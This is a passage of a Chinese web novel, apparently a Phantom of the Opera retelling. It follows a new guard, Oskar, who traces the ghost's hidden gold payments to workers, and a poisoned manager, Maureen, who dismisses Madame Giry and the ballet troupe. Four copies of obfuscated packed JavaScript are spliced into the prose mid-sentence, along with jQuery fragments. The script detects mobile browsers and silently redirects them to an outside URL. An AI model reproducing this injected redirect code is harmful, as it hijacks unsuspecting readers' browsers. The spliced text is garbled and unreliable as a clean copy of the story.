他也并非是什么天生有着为奴忠心的仆人。 他认识莫琳。也许只能算是他单方面的认识，毕竟莫琳看起来完全不记得这件事，但总而言之，在歌剧院之前，他们俩也算有过那么一点儿小孩子之间的交情。 那是在很久以前，巴黎的某个夏天。 莫琳·坎贝尔出生在伦敦，但巴黎是她母亲的故乡。在她父母尚且还维持着甜蜜婚姻假象的时候，不谙世事的莫琳曾几次跟着母亲回到巴黎城郊度假。那个时候她以为那不过是用来放松的愉快假期，后来才意识到那对于母亲来说，是短暂逃离牢笼得以呼吸的几个瞬间。 就在这短短几次旅途中的某个夏天，她在巴黎的面包店里碰到了八岁的奥斯顿.克罗宁。 那个时候莫琳十二岁。 奥斯顿小时候是被散养的。父亲从战场上回来后，母亲扛起了家里的重担，几个哥哥一旦到了雇主要求的年纪就立刻出门去干活了，只有他，没有人照料，也不需要照料别人。他唯一的任务就是每天早上去帮母亲到五条街以外的面包店买上一点边角料，用来晚餐蘸汤吃。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018814|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他记得那天巴黎的天气很好，阳光晒得人暖烘烘的，将家里的霉味儿也一并带走了。他照例从面包店的后门进去，从口袋里掏出数量正好的硬币，准备和莉亚师傅拿上一些今天早上才出炉的边角料。 忘了提醒，莉亚师傅是奥斯顿母亲的远亲。她很早就开始在这家面包店做工了，这才给了亲戚们这些“占便宜”的机会。要知道，惠顾这家面包店的客人大多是住在富人区的上流人士，所以，即使是他们挑拣剩下的边角料，质量也不会太差。 他进门的时候大约是上午九点。这个时间大部分人都已经去工作了，而富人区的贵族们大多也已经结束了他们的早餐。是个很合适出现的时间。 但那天不一样。 小奥斯顿刚进门就听见了女孩居高临下的声音。 “我不要面包，只要面包边，你们听不明白吗？” 他还从未听过这么奇怪的要求，于是偷偷趴在门缝边上朝声音的来源处看。外边站着的女孩身边围了一大帮人，管家模样的男人只是低语一句，原先眼高于顶的店主在她面前就几乎要跪下来说话。 “是，是，我们这就替您去做。” 话音刚落，几个师傅就争先恐后地从外边拥进了后厨，差点没将奥斯顿给挤了出去。只不过他们的行为很古怪—几个人正跪在木板边上，拿着小麦面包逐个撕边。 随着白色的面包屑纷纷扬扬地落在地上，柔软的胚体也被随意地丢弃在放置废品的竹筐里。 对小奥斯顿来说，这样奢靡荒诞的场景绝不该发生在他的眼睛里。 这太浪费了！要知道小麦面包的边角只占那么一小部分，谁会这样地舍本逐末，将好的面包胚全部丢弃，只为了满足自己的古怪癖好呢？ 于是他放轻脚步，尽量将自己缩成一团，企图在没人注意的角落将那些“废弃品”归为己有。 然而他的计划才刚萌芽就失败了。 “嘿！那个小子！你在干什么？”其中一个师傅很快发现了他。 其余人的目光顿时齐刷刷地聚集在小奥斯顿的身上。人群中立刻有热心肠的替他回答了这个问题：“他又在偷面包！我认识他，他常来我们店里盗窃。这个肮脏的，不要脸的下等人！” “你说谎！我从没有偷过东西！” “小偷从不承认自己盗窃，可有什么证据能证明吗？如果不是为了偷面包，你怎么会常常出现在我们店里，你难道能负担得起这儿的价格吗？” 这句反问堵住了他的嘴，小奥斯顿竟然找不出能反驳他的话。他只好求助地看向莉亚师傅，恳求她能站出来替自己辩解两句。他们不是远亲吗，对吧？ 可莉亚却挪开了目光，若无其事地加入了声讨要将他绑去警署的队伍里。 人群里有人挤上来重重地踢了他一脚，有人将他碰过的面包丢到外面的街道上。他们宁可让街边的老鼠饱餐一顿也不愿意将标价昂贵的食物赏赐给穷人。残酷的目光和鄙夷的打骂都落在他身上，几乎要将他压得抬不起头来。 “就该将他送到警察署去！这是盗窃罪！这小子只配待在监狱里！” “这些穷人的孩子都是这样！不知道这个又是从哪里跑来的野种。” 周遭的指责声越来越不堪入耳。小奥斯顿绝望地半跪在地上，他从没这样深切地感受到周围的冷漠，他只是想拿一点别人不要的面包而已。 母亲还在等。如果他太长时间没回去的话，她一定会焦急地出门找他，可那样又会将不能自理的父亲独自留在家里。小奥斯顿不知道现在有谁可以拯救他，于是学起母亲平时祷告的样子，右手抚上心脏的位置，默默祈求起全知全能的上帝。 上帝没有降临，可莫琳出现了。 她就是刚才外边那个提出古怪要求的小女孩。 11. 黄金 “他要的是什么？” 外边传来的女声依旧稚嫩，女孩径直走向小奥斯顿的方向。 “这儿不值得您...根本不值得您来，莫斯利，快把您家小姐带回去...我的上帝。” 看见小莫琳竟然蹲下来亲手抱起了那筐面包，周围的人忍不住惊呼出声。这是佣人们的后厨，不是她这样的上等人应该踏足的地方。 小莫琳不在意这些，她根本没看他们，而是盯着坐在地上的男孩问：“你要的是这个吗？” 他迟疑了一会儿，朝她点点头。 小莫琳说：“我母亲告诉我，这世上从来没有不劳而获的道理，即使是别人不要的东西。如果想要这些面包，你必须要拿东西来和我交换。” 她的逻辑说服了小奥斯顿，他似乎完全忘了自己先前是这样笃信着富人们的施舍。 在奥斯顿眼里，从富人们口袋里溢出的黄金理应属于他们，这不是施舍，而是更有效用的分配，是恒等的万物法则。 莫琳的话使他终于想起母亲给他准备好的零钱还在口袋里安静地躺着。他将那几个硬币拿出来，用衣角使劲地擦了擦，递上前去。 那是几个锈迹斑斑的生丁。 小莫琳当然看不上这些，她的脸上很快浮现出了失去兴趣的不耐，说：“我要这些废铜烂铁做什么？别的，我要你别的珍贵的东西。” “你脖子上挂的那个吊坠，就用那个和我换吧。” 奥斯顿下意识地低头去看她所说的那枚吊坠，犹豫起来。 小莫琳能看上它是有原因的，那是他父亲从前打猎时给他带回来的礼物——是一枚成色很好的狼牙。它属于部落里的首领，象征着力量与权力。洁白，尖锐，甚至带着尚未散尽的血气。 当时这枚狼牙交到他手上时尚且还凝结着深红色的痕迹，仿佛能从中看出当时猎人与猎物之间经历了一场怎样残酷的搏斗。 他不知道自己该不该答应她。父亲已经不再能打猎了，这是他送给小儿子的唯一一份战利品。 “我和你换。”小奥斯顿说。 小莫琳挑了挑眉毛，她能从对方脸上的纠结犹豫猜出这枚狼牙对于他的重要程度。她以为他大概率会踌躇一会儿，甚至准备好了对方狮子大开口和她谈些什么别的条件，可全都没有，这个刚被人谩骂指责为野种的男孩就这么利落地答应了下来。 她从不吃亏，但也不愿意让别人觉得与她做生意是件容易后悔的事。 小莫琳将那筐面包塞到他怀里，招招手示意管家拿来现钱。 在那一堆金灿灿的颜色中挑选半天后，小莫琳最后将一枚五十里弗尔面值的金币放在男孩手上，她解释道：“这枚狼牙很少见，所以我额外补给你报酬，这样你以后就不能和别人说被坎贝尔家的人占了便宜。” “向您保证。” 虽然失去了狼牙吊坠，但手上沉甸甸的触感却是真实的。 不仅顺利拿到了免费的面包，还意外换取了一大笔钱，奥斯顿的心情有些难以言喻的奇妙。 家里的经济总是有缺口，五十里弗尔已经足够让他们松快地度过一周，回去以后妈妈会高兴坏的。他虽然年纪尚小，但也知道这枚狼牙不可能在市场上卖出这么高的价格，这全凭了那位小姐的善心。 至于她这么做究竟是出于怜悯也好，只是存了想将他打发走不落口舌的心也好，他都不在乎。 “非常感谢您的慷慨，坎贝尔小姐。”他真心实意地说。 倘若只是这意外的五十里弗尔，倒也不值得奥斯顿这样舍得去替如今的莱斯曼经理卖命。只不过当时互相拉扯的两个孩子无论如何也不会想到，这五十里弗尔竟然会成了克罗宁家的救命钱。 巴黎的不同街区之间俨然是两个世界。 那天母亲的哭喊依旧声声在耳—回家以后，父亲因为伤口的持续发炎坏死而高烧不退，他们无力负担城里医生的看诊费，只能用先前剩下的药物吊着他的命。 莫琳随手给出的五十里弗尔就在个关键时刻派上了用场。 只不过莫琳已经不再记得这些微不足道的事了，那枚狼牙吊坠不过是她儿时千百个曾经喜爱过的物什中的一个，要叫她记得这其中每样物品从哪里来根本是不可能的。 奥斯顿也清楚这些。 所以他从没奢望过莫琳还能留着那枚吊坠，又或者能从他脸上回忆起从前面包店里那个小男孩的影子来。 但他依旧记得莫琳当时说过的话—“这世上没有不劳而获的道理”。即使那五十里弗尔的富余只不过是她随手的施舍，也并不能影响他为此付出代价的决心。 那张契约书上签下的名字就是佐证。 十几年后的莫琳凭借契约书顺理成章地成为了奥斯顿的主人。 她反复向面前的人阐述了契约上的内容，以防在无意之间让自己成了坑骗无辜的黑心商人：“克罗宁，你确认过这上面的所有条约吗？我必须提醒你，在这张契书的约束下，你的大部分行为得益几乎都在我一个人的控制之下。” “如果你不能完全理解，我可以请人来为你逐条解释...” 她还是和小时候一样，既有着利益既得者天生的高人一等，又有着别扭的交易平等意识，生怕别人毁坏了她好不容易筑立起的招牌。 奥斯顿忍不住笑起来，这似乎是他第一次在她面前有过这么轻松的表现， “不用了，莱斯曼小姐。” “我完全理解这上面所写的内容，并且愿意向上帝起誓。 ——奥斯顿·克罗宁将永远以您的意志为优先，承诺用生命替您追寻到一切可能的理想。” 莫琳完全没有意料到他能说出这样一番话来。 她显然低估了这个新上任的守卫，他绝不是没有受过教育的白丁，不识字的人没可能会说出这样的话来。那么他该会是为了什么？无故得益对莫琳来说并不是件值得庆幸的事情。 但既然他都已经这么说了，继续追问也没有太大的意义。莫琳想了想，说： “既然这样，那么你先去替我办一件事吧。” 在成为莫琳守卫的头一天，奥斯顿的任务就是搜查清楚歌剧院内所有的暗门。 这绝不是一件轻松的事。 光是明面上存在的两千多道门，还有并不能与此完全相配的七千多把钥匙就足以设下窥探者的天槛。达茜找到的那条暗道，还有莫琳带着奥斯顿到达的那片黑湖，不过是替他们撕开了剧院隐秘处的一方小口，这里必然还有千百处他们从未涉足的地方。 如果说莫琳原先还能劝慰自己不必太过执着那些不显于明处的事情，昨天那一遭彻底断绝了她的虚假幻想。这个剧院里可能并不存在工人们口中的恶魔，但的确埋藏了一个手段了得，且心思深沉头脑复杂的，人。 破开剧院内的谜障想必一定不是那位幽灵希望看见的，莫琳对此早有心理准备。 但她没想到，根本还没等到那个人插手，奥斯顿已经遭到了来自他们剧院内部的阻碍。他们似乎并不想让他继续搜查下去。 就在奥斯顿重新回到当天那堵暗门前，打算从这里入手开始调查时，旁边有人抱着胳膊站到他面前挡住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018815|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的视线： “嘿，克罗宁家的小子！ 听说不过短短两天，你就已经攀上了我们的女经理，从前怎么没发现你有这样的本事？” “费奇那家伙也真够可怜的，连命都送出去了也没得到半点好处，反而是被你捡了漏。” 说这话的人是当天其余三个人中一个的好友，他没能得知导致费奇丧命的罪魁祸首是谁，只是听回来的人发些牢骚话说是被克罗宁抢了功劳，所以这时候才能这么毫无忌惮地讽刺他。 “照我说，你早该这么做了”，有人将骑象道具搬了回去，调侃道：“白白浪费了一张脸蛋，也不用和咱们一起干这些脏活受苦！” 奥斯顿没有理会这些声音，他索性放弃这个入口，转到侧边楼梯的角落里，那里还有一间常年上着锁的贮藏室。 可还没等他找到开锁的法子，身后那群人却像是打定主意黏住他那般迅速跟了上来。他们齐齐站在奥斯顿的周围，摆明了是不打算让他继续调查下去。 看来在明面上干这事儿是行不通了。 既然遭人阻碍，奥斯顿干脆将莫琳留给他的钥匙掷到旁边人的怀里，掸掉手上的灰尘，一副撂挑子不干的模样朝经理室的方向走去。 其余人这才看着他的背影舒了口气。 有人小声开口：“这家伙该不会是去找经理告状了吧？” “得了吧，莱斯曼家那个小姐能知道些什么。她只不过是个愚蠢的英国人，就算她亲自来查，也查不出什么东西来。我敢说，莱斯曼家不会让她在这个地儿待上超过三个月的。她如果一直和我们这样一群人混在一起，婚事就彻底泡汤咯。” “说的也是。” “墙里的东西没少吧？” “没有没有，真是上帝恩赐，这个月还多了几个银币，足够你应付家里边的娘们儿了。” 他们边说边踱着步散去，打算去外边买几瓶酒庆祝，丝毫没有注意到去而复返的克罗宁。他刚才装作走到经理办公室的方向，实际上却躲在了转角处，。 刚才的钥匙被他扔给了那几个蠢货。奥斯顿索性将那间储藏室外边挂着的老化生锈的锁用蛮劲敲了下来，然后按着那几人所说，搬开了墙壁上几块松动的砖。 这些人的警惕性似乎都被丢到了海里。由于时常遭人松动，那墙壁上的缝隙都大的几乎可以将指头塞进去，奥斯顿轻而易举就能找到那些宝物。 果然是黄金。 准确来说，是用黄金融成的小圆珠子，就这样赤裸裸地摆放在零碎的砖瓦之间，周围灰扑扑的砖石更将它衬得光彩夺目。 莫琳先前从工人们之中入手的想法没有错，甚至是完全走在正确道路上的。 在她看来，即便这些机关多么精妙诡谲，也很难在有着众多人员的剧院里完全掩盖过去，一定会存在那么不经意的一瞥，或者误打误撞的发现。 可现实却是，歌剧院里没有任何人曾经或者有意向在未来，向她提供有价值的线索。这件事本身就是不合理的。 而在看到这些黄金后，答案昭然若揭。 他们之所以这么着急地阻碍自己，是因为那个幽灵留下了丰厚的报酬。他是个聪明的“人”，将莫琳与他之间的矛盾转移到了更大的群体身上，现在不再是莫琳与他的较量，而是莫琳与歌剧院工人的比试。 更准确来说，是和金钱之间的。他用黄金替自己铸就了一副天然屏障。 这些金子或许能挡住剧院里所有人向黑暗处窥探的目光，但绝不是奥斯顿的。黄金万能却也无用，他说了，自己要做莱斯曼小姐最趁手的那把刀。 12. 恶人 “怪不得要我支付他两万里弗尔的月薪，照他这样挥霍，将剧院掏空底都是有可能的。”莫琳想到幽灵曾经写给她的讨薪信，忍不住自言自语起来。 既然幽灵让她成了断人财路的恶人，那么她也可以选择嫁祸到别人头上。 在得知那堵墙里暗藏的玄机之后，莫琳当即决定让奥斯顿尽可能的将这些金子收集起来。当然，她不是想让他从那些“密道”的缝隙里拿金子，那样太耗费时间精力，也太容易引人注意。 莫琳的原话是：“你得跟着这些人，看着他们将金子拿到家里去，再想办法取走。” 她也许自己也注意到这件行为本身的不合理，自己似乎是在教唆别人盗窃，又掩盖似地耐心向他解释：“我想你应该知道，这些金子本来就属于是剧院的财产，所以即使我们将这些金子取回来，也是合法手段。” 她越说越觉得不对劲，似乎连自己也难以将逻辑圆回来，于是抬头看了一眼奥斯顿，却发现对方正眼也不眨地听着她说话，丝毫没有意识到事情发展的走向是否偏离初衷。 原来拥有一位忠实的仆人会是这样的，莫琳的心情突然又愉快起来。 具体怎么将东西拿回来，那是奥斯顿该考虑的，总不能什么活儿都让主人家来做。莫琳理所应当地将剩下的问题丢给了他。她为自己倒了一杯咖啡，悠闲地透过那只银质咖啡杯的杯壁看上边折射出奥斯顿的表情。 “您的意思，是让我去偷金子？”见莫琳不再继续往下说了，奥斯顿思考片刻，丢出一个结论。 莫琳才刚抿了口咖啡，正打算从这个犯瞌睡的春天早晨醒醒神，却没想到立刻被奥斯顿惊人的发言呛住了。她弯着腰剧烈地咳嗽起来，急于在桌子上寻找一个支点。 奥斯顿扶住她，又怕这样的举动冒犯到女经理，于是思考再三以后，他用桌上的高脚笔架替换了自己的手，形成了一副怪异的画面。 ——女人半弓着背，用一只手撑着单薄的高脚笔架，另一只手举着咖啡杯。 “有时候我真不知道你的脑子是用什么做的？” 莫琳从他胸前的外缝口袋里掏出一块手帕来，将呛在嗓子里的咖啡吐了上去，这才勉强将自己从这幅尴尬的画面当中解救出来。 其实他说的也没错，只不过过于耿直一些。但她不爱听这样的话。 “即使你从他们的眼皮子底下拿走那些金子，他们也不占理，最多也就是多上些流言蜚语的事。但如果你能做得隐秘一些，我们就能躲过那些不必要的麻烦。” “您不想让他们知道这件事是谁做的，这样就能将罪责推到那个幽灵身上去。他们拿不到报酬，就会以为是幽灵吝啬，所以才将许诺的金子收了回去。”奥斯顿一边试探性向她提出了自己的分析，一边自然而然地将莫琳刚才用过的手帕收回了自己的衣袋。 “你终于明白了。” 莫琳露出如释重负的表情，叫她从头调教一个愣头青似的年轻人有时候也是件令人费力的事。 看上去这个年轻人现在是知道莱斯曼小姐最终的图谋了。奥斯顿点点头，快速地站起来收整好东西，大步离开了女经理的办公室。 他的样子看上去是睿智的，可行为究竟如何就不得而知了。莫琳默默想，希望他不是那些喜欢不懂装懂的傻男人，如果将她的事情办砸，那么即使是他那幅好皮囊，再加上一颗忠诚的心，那也救不了他。 莫琳目送他走出房间，心里却不似她表面看上去的那样平静。要和那个魔鬼抗争，要摸清他的老穴，要给他下绊子，可同时，她的命也得保住。 今天是这个月必须要拿到解药的最后一天。 毒性已经开始在她的身体里蔓延。莫琳能够明显得感觉到自己精力不济，常常在工作时打瞌睡，甚至偶尔会发生昏睡一整日的情况。 如果埃里克不能如约给她解药，她怕自己就会彻底长眠不醒。 好在吉里太太终于在几刻钟后将那封带有红色骷髅头的信带来了。她怜悯地看向自己的女经理（不知道她是否也是曾经这样注视菲尔曼和阿尔芒的），说：“虽然现在说这些已经失去了意义了，但是莱斯曼小姐，有时候看似被迫的付出是为了避免更多的失去。” “可如果每样事情都要有这样无谓的付出的话，人是会被掏空成躯壳的。”莫琳颇有些破罐子破摔地回答：“把信给我吧，你知道我多么需要它。” 吉里太太轻轻叹了口气，将信递到她手上。 信封里有一个小小的夹层，莫琳将它倒置过来后，里面就立刻滚落出了一颗拇指大小的棕褐色药丸。直到将它咽进嗓子眼里，她才有心情读起那个幽灵的信来。 「亲爱的莱斯曼小姐： 十分荣幸与您达成合作，为了确认我们之间的合作关系是否牢固，这是我为您布置的第一个任务：请您在接下来的几天里帮助克莉丝汀全心准备演出，并清除子爵安插在她身边的眼线。 埃里克 敬上」 莫琳将羊皮纸翻来覆去看了两遍，才确认上面的确只写了这么两句话。 “看来他爱极了克莉丝汀，对吧？”莫琳皱着眉头说：“我都不知道该说这都是好事还是坏事，这似乎让我要做的事情变得简单了。吉里太太，我要得到多少颗解药才能确保自己不会死？” “三颗就够了，莱斯曼小姐。” 事到如今，吉里太太也不再费力遮掩自己和幽灵之间的熟捻关系，她大方地回答了莫琳的问题。这也代表着她间接承认了自己帮凶的身份。 “那么我又该给你多少钱，多少钱能确保我不再将一个祸患留在自己身边？”莫琳问。 这个问题终于被问出口了。 事实上她早就对吉里太太有所怀疑。无论是每次从她手上交由自己的信，还是她莫名其妙在言语上的偏袒和顺从，都证明她和罪犯之间关系匪浅。但她毕竟是剧院的老员工，手下还掌管着整个芭蕾舞团的演员，在没有确凿证据之前，莫琳不敢轻易挪动她的位置。 但今天她有了，对方甚至选择主动将命运交到了自己手上。 “告诉他如何对付我的弱点，如何激将我走入密室；告诉她莱斯曼的来历，坎贝尔的痛楚；或许还告诉他夏朗顿路的十七号公寓。你还告诉过他什么，吉里？” 吉里太太默默听着她对自己的控诉，深吸了一口气，回答：“没有”。 “没有，我没告密过任何事，莱斯曼小姐，无论您是否相信。” “但我要说的是，幽灵先生是真正的天才，他勘破一切秘密，也洞悉一切正发生的事。他不需要视镜就能获取所有目光，不需要测算就能搭建起高楼密塔，以至于没有任何一位现存的能工巧匠能与他相媲美。这些事情无需由我来揭露，既然命运将您推到这个位置，就注定要走到如今的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018816|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地步。” “这就是你为什么会选择替他做事？” “不完全是，小姐。这只是一些事实。” “您以后就会明白，人刚走入深渊的时候，往往误以为是自己在给予救赎。” 莫琳看着她的脸，心中浮出一股奇异的感觉。她自始至终也没能弄清楚这两个人之间的关系， 吉里太太，这样一位墨守陈规的古板女士和生活在井底的幽灵并不存在共通之处，也没有她最开始所揣测的那种惺惺相惜的情谊，那么究竟是为什么，为什么她会心甘情愿沦为魔鬼的仆人。 “告诉他，我会按照信上说的做的。”莫琳最终败下阵来，无奈地接受了自己为人胁迫的事实，对面前的人说，“你当时说的对，我没听你的话，后果是我自找的。” 吉里太太没再多说什么。她知道这位年轻的小姐没能完全领悟她话里的意思，不过她会明白的，她已经看着她走入这片沼泽了。于是她将信封折好，丢到旁边的壁炉里： “莱斯曼小姐，您现在应该考虑的是，如何完成那位先生的要求。” 吉里太太扭过头，仍然不忘恪尽职守地给予莫琳忠告： “他将克莉丝汀看得很重要，虽然分派眼线这样的事有些不妥当，但子爵先生的初衷仍然是为了保护戴也小姐，所以您在行动时也应该适当温和一些。“ “既然你这么说，那么一定是愿意为我提供不错的建议了？”莫琳淡淡地回答她。可就在吉里太太正要自然而然顺着这句话接上她的话茬时，她却又将她打断了。 “抱歉。我想我们都忘了一件事，吉里”，莫琳揉了揉自己的眉心，她看上去颇为苦恼的样子：“从现在开始你已经不再是剧院的员工了，从你这里寻求意见看来还是不够恰当的行为。关于克莉丝汀的事，我会自己想办法的，你不必这么着急庇佑你的孩子。” 吉里太太愣了一愣，她终于意识到自己在这场谈话的某个节点就已经越界了。 面前这位穿着考究的女经理远不仅是她以为的那样，一位欠缺思虑的年轻小姐那样简单，她拥有大部分人都望而却步的财富地位，而这样的人，无论是二十岁还是六十岁，都不会允许他人干涉自己的决定。 克莉丝汀是她的养女，替她谋求福祉是她下意识的行为，也许正是这句话引起了莱斯曼小姐的反感。 仍然让她留在办公室里完全出于这位女经理良好的教养。她算是很给她留面子了。想想当初的卡洛塔夫人，她连把椅子都没能留下。 她开始有些后悔了。 这是她生活工作了十几年的地方，她将歌剧院视作家一样的存在。虽然离开是不可避免的，但在那之前，她原先计划着会有充裕的时间去安顿好自己的孩子们。 “您不能像对待卡洛塔夫人那样对待我”，吉里迅速冷静下来，她仍然没有放弃为自己寻找筹码，“剧院的员工会在背后声讨您的行为，芭蕾舞团会崩溃，演员们会不知所措。首演在即，您不能这样做。” “正是因为首演在即。”莫琳回答。 “芭蕾舞团早就没有存在的必要了，说实话，我从没在伦敦见过这样混乱嘈杂的演出。我能看出来你在尽力挽救她们，但我为什么要在培养蠢材上耗费那么多的精力呢？歌剧院又不是个福利所，我没有义务向她们提供免费继续教育的地方。” “没有人不可代替，吉里。” 13. 混乱 吉里太太离开得非常突然。 就在昨天早上，她还提着那根熟悉的黑色执杖在鞭策几个懒散的小舞女，而今天，那根棍子就失去了主人，孤零零地伫立在舞台的角落里。 早上，由于吉里太太叩门声难得地缺席了一日，女孩们破天荒地多睡了两刻钟。她们裹上被子沉沉睡去的时候大概还不会想到，被自己视为头羊一般存在的吉里太太，会突然消失在这里。 面对突如其来的松懈和自由，除了抽泣的梅格外，其余的女孩们都显得有些不知所措。直到她们的女经理前来向她们宣布了芭蕾舞团解散的噩耗。 “等你们回房间收拾完东西，这就可以走了”，莫琳的语气像是在宣布将明天的早餐由煎蛋替换成培根那样平静寻常，“这个月的薪水还是会正常下发，自己或者让家人来剧院领都行。姑娘们，这是我们最后的见面了，祝你们以后一切好运。” 达茜站在她边上，补充道：“在剧院工作超过两年的人可以获得额外五十里弗尔的补贴，受过伤的翻倍，如果有需要，随时来找我的管家。” 底下静默片刻，然后传来了此起彼伏的哭声。 凄哀的呜咽由小及大，逐渐变得混乱嘈杂，以至于无法收拾。昨天还在互相打闹，私下抱怨吉里夫人过于严苛训练的她们，又怎么会想到今天会迎来骤然的变故。 女孩们伏在彼此的肩头，眼泪打湿纯白色的布料，这些丝绸缎布是如此让她们难以舍弃，并将成为今后永久的怀念。离开歌剧院以后，她们不会再有机会穿上这样美的裙摆。 克莉丝汀混迹在舞女们中间，她的处境有些尴尬，像个沉船前最后一刻获救上岸的幸运者，不知道究竟是该表露自己生的喜悦，还是与众人一起替死者哀告。 “我...我以后该去哪里？如果就这么回去，母亲会打死我的。”有女孩带着哭腔问。 另一位女孩则似乎还没有认清女经理在这件事上的决心，她还想尝试着为自己博取机会：“就让我们再多待一段时间吧！莱斯曼小姐，我们保证会努力训练的！” 芭蕾舞团里的女孩大多家境不富裕，甚至有不少人是吉里太太当初从贫民窟里挑选出来的。她们脱离最底层温饱需求的日子还不久，不会有太多家底来支撑她们度过失去工作的日子。 “我家里还有年迈的母亲和读书的弟弟需要供养，失去这份收入的话，他们连饭都会吃不上的，小姐，请你发发善心，我真的需要这份工作。”一位女孩说出了大家的心声。 而在这场悲哀的嚎哭中，梅格的抽泣也在她们的衬托下不再显眼了。她擦擦脸上的泪水，开始收拾自己的心情。她之所以能这么做，是因为自己比同伴们更早认识到这两位贵族小姐的决心。倘若这时候站在她们面前的是任何一位道德感强烈且好心肠的女士，她都不会忍心发生这样的场面。 可莱斯曼和她身边的海伍德小姐不是。 她们是真正的商人，合格的交易者。她们是真的想把这个濒临破产的歌剧院拯救起来，而这样无异于绝地求生的拯救是需要代价的。这些可怜的姑娘们，包括她自己，就是代价中最先牺牲的那一部分。 以老沃特为首的工人也围聚在舞女们周围。 他们虽然没有反应剧烈地提出抗议。但也免不了在私底下议论几句莫琳的作为。 “经理怎么能够这么做？我就知道她也是个没有良心的资本家！” “辞退吉里太太也就算了，她毕竟和那个幽灵勾连在了一起。可这些姑娘们，她们什么事也没做错，为什么也得走呢？” “吉里太太和那个幽灵认识？”有不知道内情的人捂住了自己的嘴巴：“这实在是令人难以置信。不过这下解释得清楚了，怪不得她总是让我们离它远远的，不要招惹这些东西。弄了半天，他们俩是一伙的？” 有人在话缝中偷偷瞟了一眼奥斯顿，说： “你以为吉里太太走了之后，芭蕾舞团还能像从前那样吗？这些女孩们本就性子懒惰难训，如果不是吉里太太，舞团恐怕就彻底散了。我说，莱斯曼小姐又不是个傻子。” “剧院在这些人身上真是浪费了不少钱”，有些言语逐渐变得刻薄，“我看也没能招来更多的客人，不如叫这些女孩去街边挥挥手帕来得快”。 从他开始，议论声逐渐以奥斯顿为中心形成了怪圈。在没有奥斯顿在场的外圈，人群肆无忌惮地斥责莫琳的无情，而在内圈，又有不少看上去体贴入微，知情识趣的言论陆续冒出来。 这大概得益于奥斯顿前两日的壮举——将一名多嘴的工人（传播自己与女经理不实谣言）打残了一条腿，这起到了不错的威慑效果。除了被老沃特罚了半个月的工资以外，几乎没有什么实质性的负面影响。 老沃特皱着眉头看着他们。 哭泣的姑娘，涣散的人心。他突然开始怀疑起自己是否看错了人。 他开始不确定自己当时将奥斯顿举荐给经理是否是正确的决定。这个年轻人显然已经被莱斯曼小姐迷得神魂颠倒，如果她是个铁石心肠的人，那么无异于是他将屠宰的砍刀，尤其是在这把砍刀还极有可能在不久的将来落到自己身上的情况下，亲自递了上去。 他原先以为这位行事果决的小姐是真正能挽救歌剧院于水火的人，而现实看来，在她是否有这样能力的问题依旧存疑的情况下，她毫无疑问是个无情的人。 吉里太太来到剧院的时间几乎和他一样久，她这次离开，作为共事多年的伙伴，他得去为她践行才对。老沃特深深地长叹了一口气，喉咙里发出破风箱似的的抽气声，转身离开了。 可有的时候，不幸和烦恼总是扎着堆出现，仿佛这样就一定能找到乘虚而入的空间，将原先看起来坚不可摧的人一举击溃。 老沃特离开后，有两个男人不知道什么原因，突然扭打到了一起。 “是你这个狗崽子偷了我的钱，是不是？我就知道金子不可能这么无缘无故地没了。” “疯子！你在胡说八道什么？我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018817|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么会知道你的钱放在哪里？有本事你将事情说得更清楚一些！”另一个人扑上去，将男人的声音淹灭了。 最开始只是你一言我一语地回击，后来则逐渐发展到拳脚上的功夫，这个朝那个的鼻子上来上一拳，那个朝这个的肚子上踹上一脚。没过多久，两个人脸上就都多了几点青红交杂的颜色。 最开始还有几个人先上前劝架，却在那些肮脏的皱骂声中被引惑着加入了战局。于是厮打在一块儿的身影变得越来愈多，逐渐叠成了一座散发着汗臭味儿的小山。 有人看了奥斯顿几眼，在发现他反倒躲开争端的时候变得愈发肆无忌惮起来。 而奥斯顿本人是怎么想的呢？ 他这回可的确是没有多管闲事的意向。他刚才听见了，这两个人冲突的原因是怀疑对方偷走了墙壁里“上帝”赐予的财富。而他作为事实意义上的罪魁祸首，巴不得离得越远越好，又怎么会愿意搅和进去呢？ 